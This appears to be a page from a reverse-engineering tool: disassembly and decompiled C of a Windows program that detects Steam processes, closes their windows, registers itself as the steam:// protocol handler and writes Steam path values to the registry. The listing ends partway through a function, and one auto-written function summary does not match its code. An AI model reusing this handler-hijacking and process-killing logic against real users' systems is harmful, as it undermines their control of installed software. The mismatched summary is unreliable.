1400064d648 8b 05 63 7b 02 00MOV RAX,qword ptr [DAT_14002e040]
1400064dd48 33 c4XOR RAX,RSP
1400064e048 89 84 24 70 02 00 00MOV qword ptr [RSP + local_28],RAX
1400064e84c 8b f2MOV R14,RDX
1400064eb8b f9MOV EDI,ECX
1400064ed45 33 ffXOR R15D,R15D
1400064f033 d2XOR EDX,EDX
1400064f2b9 02 00 00 00MOV ECX,0x2
1400064f741 8b f7MOV ESI,R15D
1400064faff 15 28 8d 01 00CALL qword ptr [PTR_CreateToolhelp32Snapshot_14001f228]
14000650048 8b e8MOV RBP,RAX
14000650348 83 f8 ffCMP RAX,-0x1
14000650775 0fJNZ LAB_140006518
1400065094d 85 f6TEST R14,R14
14000650c74 03JZ LAB_140006511
14000650e45 89 3eMOV dword ptr [R14],R15D
LAB_140006511:
14000651133 c0XOR EAX,EAX
140006513e9 23 02 00 00JMP LAB_14000673b
LAB_140006518:
14000651833 d2XOR EDX,EDX
14000651a48 8d 4c 24 34LEA RCX,[RSP + 0x34]
14000651f41 b8 34 02 00 00MOV R8D,0x234
140006525e8 16 76 01 00CALL FUN_14001db40
14000652a48 8d 54 24 30LEA RDX,[RSP + 0x30]
14000652fc7 44 24 30 38 02 00 00MOV dword ptr [RSP + local_268],0x238
14000653748 8b cdMOV RCX,RBP
14000653aff 15 20 8d 01 00CALL qword ptr [PTR_Process32FirstW_14001f260]
14000654085 c0TEST EAX,EAX
1400065420f 84 e0 01 00 00JZ LAB_140006728
LAB_140006548:
14000654848 89 9c 24 a0 02 00 00MOV qword ptr [RSP + local_res8],RBX
LAB_140006550:
140006550ff 15 32 8d 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
14000655639 44 24 38CMP dword ptr [RSP + local_260],EAX
14000655a0f 84 aa 01 00 00JZ LAB_14000670a
14000656048 8d 15 b1 34 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
14000656748 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
14000656ce8 db aa 00 00CALL FID_conflict:_wcsicoll
14000657185 ffTEST EDI,EDI
1400065730f 84 ac 00 00 00JZ LAB_140006625
14000657985 c0TEST EAX,EAX
14000657b0f 84 d6 00 00 00JZ LAB_140006657
14000658148 8d 15 70 36 02 00LEA RDX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
14000658848 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
14000658de8 ba aa 00 00CALL FID_conflict:_wcsicoll
14000659285 c0TEST EAX,EAX
1400065940f 84 bd 00 00 00JZ LAB_140006657
14000659a48 8d 15 77 36 02 00LEA RDX,[u_steam.live.exe_140029c18]; "steam.live.exe"
1400065a148 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
1400065a6e8 a1 aa 00 00CALL FID_conflict:_wcsicoll
1400065ab85 c0TEST EAX,EAX
1400065ad0f 84 a4 00 00 00JZ LAB_140006657
1400065b348 8d 15 7e 36 02 00LEA RDX,[u_steamwebhelper.exe_140029c38]; "steamwebhelper.exe"
1400065ba48 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
1400065bfe8 88 aa 00 00CALL FID_conflict:_wcsicoll
1400065c485 c0TEST EAX,EAX
1400065c60f 84 8b 00 00 00JZ LAB_140006657
1400065cc48 8d 15 8d 36 02 00LEA RDX,[u_steamservice.exe_140029c60]; "steamservice.exe"
1400065d348 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
1400065d8e8 6f aa 00 00CALL FID_conflict:_wcsicoll
1400065dd85 c0TEST EAX,EAX
1400065df74 76JZ LAB_140006657
1400065e148 8d 15 a0 36 02 00LEA RDX,[u_GameOverlayUI.exe_140029c88]; "GameOverlayUI.exe"
1400065e848 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
1400065ede8 5a aa 00 00CALL FID_conflict:_wcsicoll
1400065f285 c0TEST EAX,EAX
1400065f474 61JZ LAB_140006657
1400065f648 8d 15 b3 36 02 00LEA RDX,[u_steamerrorreporter.exe_140029cb0]; "steamerrorreporter.exe"
1400065fd48 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140006602e8 45 aa 00 00CALL FID_conflict:_wcsicoll
14000660785 c0TEST EAX,EAX
14000660974 4cJZ LAB_140006657
14000660b48 8d 15 ce 36 02 00LEA RDX,[u_SteamService.exe_140029ce0]; "SteamService.exe"
14000661248 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140006617e8 30 aa 00 00CALL FID_conflict:_wcsicoll
14000661c85 c0TEST EAX,EAX
14000661e74 37JZ LAB_140006657
140006620e9 e5 00 00 00JMP LAB_14000670a
LAB_140006625:
14000662585 c0TEST EAX,EAX
14000662774 2eJZ LAB_140006657
14000662948 8d 15 c8 35 02 00LEA RDX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
14000663048 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140006635e8 12 aa 00 00CALL FID_conflict:_wcsicoll
14000663a85 c0TEST EAX,EAX
14000663c74 19JZ LAB_140006657
14000663e48 8d 15 d3 35 02 00LEA RDX,[u_steam.live.exe_140029c18]; "steam.live.exe"
14000664548 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
14000664ae8 fd a9 00 00CALL FID_conflict:_wcsicoll
14000664f85 c0TEST EAX,EAX
1400066510f 85 b3 00 00 00JNZ LAB_14000670a
LAB_140006657:
14000665748 8d 15 ba 33 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
14000665e48 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140006663e8 e4 a9 00 00CALL FID_conflict:_wcsicoll
14000666885 c0TEST EAX,EAX
14000666a74 2aJZ LAB_140006696
14000666c48 8d 15 85 35 02 00LEA RDX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
14000667348 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
140006678e8 cf a9 00 00CALL FID_conflict:_wcsicoll
14000667d85 c0TEST EAX,EAX
14000667f74 15JZ LAB_140006696
14000668148 8d 15 90 35 02 00LEA RDX,[u_steam.live.exe_140029c18]; "steam.live.exe"
14000668848 8d 4c 24 5cLEA RCX,[RSP + 0x5c]
14000668de8 ba a9 00 00CALL FID_conflict:_wcsicoll
14000669285 c0TEST EAX,EAX
14000669475 74JNZ LAB_14000670a
LAB_140006696:
140006696be 01 00 00 00MOV ESI,0x1
14000669b85 ffTEST EDI,EDI
14000669d74 6bJZ LAB_14000670a
14000669f45 33 c9XOR R9D,R9D
1400066a245 33 c0XOR R8D,R8D
1400066a533 d2XOR EDX,EDX
1400066a733 c9XOR ECX,ECX
1400066a9ff 15 01 8e 01 00CALL qword ptr [PTR_FindWindowExW_14001f4b0]
1400066af48 8b d8MOV RBX,RAX
1400066b248 85 c0TEST RAX,RAX
1400066b574 53JZ LAB_14000670a
1400066b766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_1400066c0:
1400066c048 8d 54 24 20LEA RDX,[RSP + 0x20]
1400066c544 89 7c 24 20MOV dword ptr [RSP + local_278],R15D
1400066ca48 8b cbMOV RCX,RBX
1400066cdff 15 fd 8d 01 00CALL qword ptr [PTR_GetWindowThreadProcessId_14001f4d0]
1400066d38b 44 24 38MOV EAX,dword ptr [RSP + local_260]
1400066d739 44 24 20CMP dword ptr [RSP + local_278],EAX
1400066db75 14JNZ LAB_1400066f1
1400066dd45 33 c9XOR R9D,R9D
1400066e045 33 c0XOR R8D,R8D
1400066e3ba 10 00 00 00MOV EDX,0x10
1400066e848 8b cbMOV RCX,RBX
1400066ebff 15 c7 8d 01 00CALL qword ptr [PTR_PostMessageW_14001f4b8]
LAB_1400066f1:
1400066f145 33 c9XOR R9D,R9D
1400066f445 33 c0XOR R8D,R8D
1400066f748 8b d3MOV RDX,RBX
1400066fa33 c9XOR ECX,ECX
1400066fcff 15 ae 8d 01 00CALL qword ptr [PTR_FindWindowExW_14001f4b0]
14000670248 8b d8MOV RBX,RAX
14000670548 85 c0TEST RAX,RAX
14000670875 b6JNZ LAB_1400066c0
LAB_14000670a:
14000670a48 8d 54 24 30LEA RDX,[RSP + 0x30]
14000670f48 8b cdMOV RCX,RBP
140006712ff 15 30 8b 01 00CALL qword ptr [PTR_Process32NextW_14001f248]
14000671885 c0TEST EAX,EAX
14000671a0f 85 30 fe ff ffJNZ LAB_140006550
14000672048 8b 9c 24 a0 02 00 00MOV RBX,qword ptr [RSP + local_res8]
LAB_140006728:
14000672848 8b cdMOV RCX,RBP
14000672bff 15 37 8b 01 00CALL qword ptr [PTR_CloseHandle_14001f268]
1400067314d 85 f6TEST R14,R14
14000673474 03JZ LAB_140006739
14000673641 89 36MOV dword ptr [R14],ESI
LAB_140006739:
1400067398b c6MOV EAX,ESI
LAB_14000673b:
14000673b48 8b 8c 24 70 02 00 00MOV RCX,qword ptr [RSP + local_28]
14000674348 33 ccXOR RCX,RSP
140006746e8 e5 21 00 00CALL __security_check_cookie

enumerates processes and checks whether…

0x140006770308 bytes
undefined FUN_140006770(void)

enumerates processes and checks whether specific process names are running

Behaviours
B4
Called from
FUN_140007950
Calls
CreateToolhelp32Snapshot Process32NextW Process32FirstW CloseHandle GetCurrentProcessId __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40
Decompiled C · 38 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140006770(void)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  undefined1 auStack_278 [32];
  undefined4 local_258;
  undefined1 local_254 [4];
  DWORD local_250;
  wchar_t local_22c [266];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_278;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject != (HANDLE)0xffffffffffffffff) {
    FUN_14001db40((undefined1 (*) [32])local_254,0,0x234);
    local_258 = 0x238;
    iVar1 = Process32FirstW(hObject,&local_258);
    while (iVar1 != 0) {
      DVar2 = GetCurrentProcessId();
      if (((local_250 != DVar2) &&
          (((iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.exe"), iVar1 == 0 ||
            (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.orig.exe"), iVar1 == 0)) ||
           (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.live.exe"), iVar1 == 0)))) &&
         ((iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.exe"), iVar1 != 0 &&
          (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.orig.exe"), iVar1 != 0)))) {
        FID_conflict__wcsicoll(local_22c,L"steam.live.exe");
      }
      iVar1 = Process32NextW(hObject,&local_258);
    }
    CloseHandle(hObject);
  }
}

Assembly · 69 instructions, 6 annotated
AddressBytesInstructionComment
14000677048 89 5c 24 08MOV qword ptr [RSP + local_res8],RBX
14000677557PUSH RDI
14000677648 81 ec 70 02 00 00SUB RSP,0x270
14000677d48 8b 05 bc 78 02 00MOV RAX,qword ptr [DAT_14002e040]
14000678448 33 c4XOR RAX,RSP
14000678748 89 84 24 60 02 00 00MOV qword ptr [RSP + local_18],RAX
14000678f33 d2XOR EDX,EDX
140006791b9 02 00 00 00MOV ECX,0x2
14000679633 dbXOR EBX,EBX
140006798ff 15 8a 8a 01 00CALL qword ptr [PTR_CreateToolhelp32Snapshot_14001f228]
14000679e48 8b f8MOV RDI,RAX
1400067a148 83 f8 ffCMP RAX,-0x1
1400067a50f 84 e7 00 00 00JZ LAB_140006892
1400067ab33 d2XOR EDX,EDX
1400067ad48 8d 4c 24 24LEA RCX,[RSP + 0x24]
1400067b241 b8 34 02 00 00MOV R8D,0x234
1400067b8e8 83 73 01 00CALL FUN_14001db40
1400067bd48 8d 54 24 20LEA RDX,[RSP + 0x20]
1400067c2c7 44 24 20 38 02 00 00MOV dword ptr [RSP + local_258],0x238
1400067ca48 8b cfMOV RCX,RDI
1400067cdff 15 8d 8a 01 00CALL qword ptr [PTR_Process32FirstW_14001f260]
1400067d385 c0TEST EAX,EAX
1400067d50f 84 ae 00 00 00JZ LAB_140006889
1400067db0f 1f 44 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_1400067e0:
1400067e0ff 15 a2 8a 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
1400067e639 44 24 28CMP dword ptr [RSP + local_250],EAX
1400067ea0f 84 83 00 00 00JZ LAB_140006873
1400067f048 8d 15 21 32 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
1400067f748 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
1400067fce8 4b a8 00 00CALL FID_conflict:_wcsicoll
14000680185 c0TEST EAX,EAX
14000680374 2aJZ LAB_14000682f
14000680548 8d 15 ec 33 02 00LEA RDX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
14000680c48 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
140006811e8 36 a8 00 00CALL FID_conflict:_wcsicoll
14000681685 c0TEST EAX,EAX
14000681874 15JZ LAB_14000682f
14000681a48 8d 15 f7 33 02 00LEA RDX,[u_steam.live.exe_140029c18]; "steam.live.exe"
14000682148 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
140006826e8 21 a8 00 00CALL FID_conflict:_wcsicoll
14000682b85 c0TEST EAX,EAX
14000682d75 44JNZ LAB_140006873
LAB_14000682f:
14000682f48 8d 15 e2 31 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
14000683648 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
14000683be8 0c a8 00 00CALL FID_conflict:_wcsicoll
14000684085 c0TEST EAX,EAX
14000684274 2aJZ LAB_14000686e
14000684448 8d 15 ad 33 02 00LEA RDX,[u_steam.orig.exe_140029bf8]; "steam.orig.exe"
14000684b48 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
140006850e8 f7 a7 00 00CALL FID_conflict:_wcsicoll
14000685585 c0TEST EAX,EAX
14000685774 15JZ LAB_14000686e
14000685948 8d 15 b8 33 02 00LEA RDX,[u_steam.live.exe_140029c18]; "steam.live.exe"
14000686048 8d 4c 24 4cLEA RCX,[RSP + 0x4c]
140006865e8 e2 a7 00 00CALL FID_conflict:_wcsicoll
14000686a85 c0TEST EAX,EAX
14000686c75 05JNZ LAB_140006873
LAB_14000686e:
14000686ebb 01 00 00 00MOV EBX,0x1
LAB_140006873:
14000687348 8d 54 24 20LEA RDX,[RSP + 0x20]
14000687848 8b cfMOV RCX,RDI
14000687bff 15 c7 89 01 00CALL qword ptr [PTR_Process32NextW_14001f248]
14000688185 c0TEST EAX,EAX
1400068830f 85 57 ff ff ffJNZ LAB_1400067e0
LAB_140006889:
14000688948 8b cfMOV RCX,RDI
14000688cff 15 d6 89 01 00CALL qword ptr [PTR_CloseHandle_14001f268]
LAB_140006892:
1400068928b c3MOV EAX,EBX
14000689448 8b 8c 24 60 02 00 00MOV RCX,qword ptr [RSP + local_18]
14000689c48 33 ccXOR RCX,RSP
14000689fe8 8c 20 00 00CALL __security_check_cookie

creates registry shell\open\command and…

0x140006950577 bytes
undefined FUN_140006950(HKEY param_1, BYTE * param_2)

creates registry shell\open\command and DefaultIcon entries for a given file association

Behaviours
B3
Called from
FUN_140006d70
Calls
RegCloseKey RegCreateKeyExW RegSetValueExW FUN_140003f60, __security_check_cookie
Decompiled C · 53 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140006950(HKEY param_1,BYTE *param_2)

{
  longlong lVar1;
  LSTATUS LVar2;
  longlong lVar3;
  longlong lVar4;
  undefined1 auStackY_2d8 [32];
  HKEY local_288 [2];
  short local_278 [296];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_2d8;
  FUN_140003f60(local_278,0x124,0x140029d08,param_2);
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,(BYTE *)L"URL:steam protocol",0x26);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    RegSetValueExW(local_288[0],L"URL Protocol",0,1,"",2);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam\\DefaultIcon",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  lVar4 = -1;
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_2 + lVar1 + 2) != 0);
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,param_2,(int)lVar3 * 2 + 2);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam\\shell\\open\\command",0,(LPWSTR)0x0,0,
                          2,(LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    do {
      lVar3 = lVar4 + 1;
      lVar4 = lVar4 + 1;
    } while (local_278[lVar3] != 0);
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,(BYTE *)local_278,(int)lVar4 * 2 + 2);
    RegCloseKey(local_288[0]);
  }
}

Assembly · 123 instructions, 9 annotated
AddressBytesInstructionComment
14000695048 89 5c 24 18MOV qword ptr [RSP + local_res18],RBX
14000695555PUSH RBP
14000695656PUSH RSI
14000695757PUSH RDI
14000695848 81 ec c0 02 00 00SUB RSP,0x2c0
14000695f48 8b 05 da 76 02 00MOV RAX,qword ptr [DAT_14002e040]
14000696648 33 c4XOR RAX,RSP
14000696948 89 84 24 b0 02 00 00MOV qword ptr [RSP + local_28],RAX
14000697148 8b faMOV RDI,RDX
1400069744c 8d 05 8d 33 02 00LEA R8,[u_"%s"_--_"%%1"_140029d08]; "\"%s\" -- \"%%1\""
14000697b48 8b f1MOV RSI,RCX
14000697e4c 8b caMOV R9,RDX
140006981ba 24 01 00 00MOV EDX,0x124
14000698648 8d 4c 24 60LEA RCX,[RSP + 0x60]
14000698be8 d0 d5 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000699033 edXOR EBP,EBP
14000699248 8d 44 24 50LEA RAX,[RSP + 0x50]
14000699748 89 6c 24 40MOV qword ptr [RSP + local_298],RBP
14000699c48 8d 15 ad 33 02 00LEA RDX,[u_Software\Classes\steam_140029d50]; "Software\\Classes\\steam"
1400069a348 89 44 24 38MOV qword ptr [RSP + local_2a0],RAX
1400069a845 33 c9XOR R9D,R9D
1400069ab48 89 6c 24 30MOV qword ptr [RSP + local_2a8],RBP
1400069b045 33 c0XOR R8D,R8D
1400069b3c7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_2b0],0x2
1400069bb48 8b ceMOV RCX,RSI
1400069be89 6c 24 20MOV dword ptr [RSP + local_2b8],EBP
1400069c2ff 15 78 86 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
1400069c885 c0TEST EAX,EAX
1400069ca75 35JNZ LAB_140006a01
1400069cc48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
1400069d148 8d 05 50 33 02 00LEA RAX,[u_URL:steam_protocol_140029d28]; "URL:steam protocol"
1400069d8c7 44 24 28 26 00 00 00MOV dword ptr [RSP + local_2b0],0x26
1400069e041 b9 01 00 00 00MOV R9D,0x1
1400069e645 33 c0XOR R8D,R8D
1400069e948 89 44 24 20MOV qword ptr [RSP + local_2b8],RAX; "URL:steam protocol"
1400069ee33 d2XOR EDX,EDX
1400069f0ff 15 5a 86 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
1400069f648 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
1400069fbff 15 27 86 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006a01:
140006a0148 89 6c 24 40MOV qword ptr [RSP + local_298],RBP
140006a0648 8d 44 24 50LEA RAX,[RSP + 0x50]
140006a0b48 89 44 24 38MOV qword ptr [RSP + local_2a0],RAX
140006a1048 8d 15 39 33 02 00LEA RDX,[u_Software\Classes\steam_140029d50]; "Software\\Classes\\steam"
140006a1748 89 6c 24 30MOV qword ptr [RSP + local_2a8],RBP
140006a1c45 33 c9XOR R9D,R9D
140006a1fc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_2b0],0x2
140006a2745 33 c0XOR R8D,R8D
140006a2a48 8b ceMOV RCX,RSI
140006a2d89 6c 24 20MOV dword ptr [RSP + local_2b8],EBP
140006a31ff 15 09 86 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006a3785 c0TEST EAX,EAX
140006a3975 3aJNZ LAB_140006a75
140006a3b48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006a4048 8d 05 25 1d 02 00LEA RAX,[DAT_14002876c]
140006a47c7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_2b0],0x2
140006a4f48 8d 15 2a 33 02 00LEA RDX,[u_URL_Protocol_140029d80]; "URL Protocol"
140006a5641 b9 01 00 00 00MOV R9D,0x1
140006a5c48 89 44 24 20MOV qword ptr [RSP + local_2b8],RAX
140006a6145 33 c0XOR R8D,R8D
140006a64ff 15 e6 85 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006a6a48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006a6fff 15 b3 85 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006a75:
140006a7548 89 6c 24 40MOV qword ptr [RSP + local_298],RBP
140006a7a48 8d 44 24 50LEA RAX,[RSP + 0x50]
140006a7f48 89 44 24 38MOV qword ptr [RSP + local_2a0],RAX
140006a8448 8d 15 15 33 02 00LEA RDX,[u_Software\Classes\steam\DefaultIc_140029da0]; "Software\\Classes\\steam\\DefaultIcon"
140006a8b48 89 6c 24 30MOV qword ptr [RSP + local_2a8],RBP
140006a9045 33 c9XOR R9D,R9D
140006a93c7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_2b0],0x2
140006a9b45 33 c0XOR R8D,R8D
140006a9e48 8b ceMOV RCX,RSI
140006aa189 6c 24 20MOV dword ptr [RSP + local_2b8],EBP
140006aa5ff 15 95 85 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006aab48 c7 c3 ff ff ff ffMOV RBX,-0x1
140006ab285 c0TEST EAX,EAX
140006ab475 46JNZ LAB_140006afc
140006ab648 8b c3MOV RAX,RBX
140006ab90f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140006ac0:
140006ac066 39 6c 47 02CMP word ptr [RDI + RAX*0x2 + 0x2],BP
140006ac548 8d 40 01LEA RAX,[RAX + 0x1]
140006ac975 f5JNZ LAB_140006ac0
140006acb48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006ad08d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
140006ad789 44 24 28MOV dword ptr [RSP + local_2b0],EAX
140006adb41 b9 01 00 00 00MOV R9D,0x1
140006ae145 33 c0XOR R8D,R8D
140006ae448 89 7c 24 20MOV qword ptr [RSP + local_2b8],RDI
140006ae933 d2XOR EDX,EDX
140006aebff 15 5f 85 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006af148 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006af6ff 15 2c 85 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006afc:
140006afc48 89 6c 24 40MOV qword ptr [RSP + local_298],RBP
140006b0148 8d 44 24 50LEA RAX,[RSP + 0x50]
140006b0648 89 44 24 38MOV qword ptr [RSP + local_2a0],RAX
140006b0b48 8d 15 de 32 02 00LEA RDX,[u_Software\Classes\steam\shell\ope_140029df0]; "Software\\Classes\\steam\\shell\\open\\command"
140006b1248 89 6c 24 30MOV qword ptr [RSP + local_2a8],RBP
140006b1745 33 c9XOR R9D,R9D
140006b1ac7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_2b0],0x2
140006b2245 33 c0XOR R8D,R8D
140006b2548 8b ceMOV RCX,RSI
140006b2889 6c 24 20MOV dword ptr [RSP + local_2b8],EBP
140006b2cff 15 0e 85 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006b3285 c0TEST EAX,EAX
140006b3475 4bJNZ LAB_140006b81
140006b3648 8d 44 24 60LEA RAX,[RSP + 0x60]
140006b3b0f 1f 44 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_140006b40:
140006b4066 39 6c 58 02CMP word ptr [RAX + RBX*local_278 + 0x2],BP
140006b4548 8d 5b 01LEA RBX,[RBX + 0x1]
140006b4975 f5JNZ LAB_140006b40
140006b4b48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006b508d 04 5d 02 00 00 00LEA EAX,[0x2 + RBX*0x2]
140006b5789 44 24 28MOV dword ptr [RSP + local_2b0],EAX
140006b5b41 b9 01 00 00 00MOV R9D,0x1
140006b6148 8d 44 24 60LEA RAX,[RSP + 0x60]
140006b6645 33 c0XOR R8D,R8D
140006b6933 d2XOR EDX,EDX
140006b6b48 89 44 24 20MOV qword ptr [RSP + local_2b8],RAX
140006b70ff 15 da 84 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006b7648 8b 4c 24 50MOV RCX,qword ptr [RSP + local_288]
140006b7bff 15 a7 84 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006b81:
140006b8148 8b 8c 24 b0 02 00 00MOV RCX,qword ptr [RSP + local_28]
140006b8948 33 ccXOR RCX,RSP
140006b8ce8 9f 1d 00 00CALL __security_check_cookie

creates registry entries for…

0x140006bb0445 bytes
undefined FUN_140006bb0(HKEY param_1, LPCWSTR param_2, BYTE * param_3, BYTE * param_4, BYTE * param_5)

creates registry entries for DisplayName, DisplayIcon and UninstallString under a given key

Behaviours
B3
Called from
FUN_140006d70
Calls
RegCloseKey RegCreateKeyExW RegSetValueExW
Decompiled C · 46 lines
void FUN_140006bb0(HKEY param_1,LPCWSTR param_2,BYTE *param_3,BYTE *param_4,BYTE *param_5)

{
  longlong lVar1;
  LSTATUS LVar2;
  longlong lVar3;
  longlong lVar4;
  HKEY local_28 [2];
  
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  lVar4 = -1;
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_3 + lVar1 + 2) != 0);
    RegSetValueExW(local_28[0],L"SteamExe",0,1,param_3,(int)lVar3 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_4 + lVar1 + 2) != 0);
    RegSetValueExW(local_28[0],L"SteamPath",0,1,param_4,(int)lVar3 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  if (LVar2 == 0) {
    do {
      lVar3 = lVar4 * 2;
      lVar4 = lVar4 + 1;
    } while (*(short *)(param_5 + lVar3 + 2) != 0);
    RegSetValueExW(local_28[0],L"InstallPath",0,1,param_5,(int)lVar4 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  return;
}

Assembly · 104 instructions, 3 annotated
AddressBytesInstructionComment
140006bb04c 8b dcMOV R11,RSP
140006bb349 89 5b 08MOV qword ptr [R11 + local_res8],RBX
140006bb749 89 6b 10MOV qword ptr [R11 + local_res10],RBP
140006bbb49 89 73 18MOV qword ptr [R11 + local_res18],RSI
140006bbf57PUSH RDI
140006bc041 56PUSH R14
140006bc241 57PUSH R15
140006bc448 83 ec 60SUB RSP,0x60
140006bc845 33 ffXOR R15D,R15D
140006bcb49 8d 43 d8LEA RAX,[R11 + -0x28]
140006bcf4d 89 7b c8MOV qword ptr [R11 + local_38],R15
140006bd349 8b f1MOV RSI,R9
140006bd649 89 43 c0MOV qword ptr [R11 + local_40],RAX
140006bda49 8b f8MOV RDI,R8
140006bdd4d 89 7b b8MOV qword ptr [R11 + local_48],R15
140006be145 33 c9XOR R9D,R9D
140006be4c7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_50],0x2
140006bec45 33 c0XOR R8D,R8D
140006bef45 89 7b a8MOV dword ptr [R11 + local_58],R15D
140006bf348 8b eaMOV RBP,RDX
140006bf64c 8b f1MOV R14,RCX
140006bf9ff 15 41 84 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006bff48 c7 c3 ff ff ff ffMOV RBX,-0x1
140006c0685 c0TEST EAX,EAX
140006c0875 48JNZ LAB_140006c52
140006c0a48 8b c3MOV RAX,RBX
140006c0d0f 1f 00NOP dword ptr [RAX]
LAB_140006c10:
140006c1066 44 39 7c 47 02CMP word ptr [RDI + RAX*0x2 + 0x2],R15W
140006c1648 8d 40 01LEA RAX,[RAX + 0x1]
140006c1a75 f4JNZ LAB_140006c10
140006c1c48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006c218d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
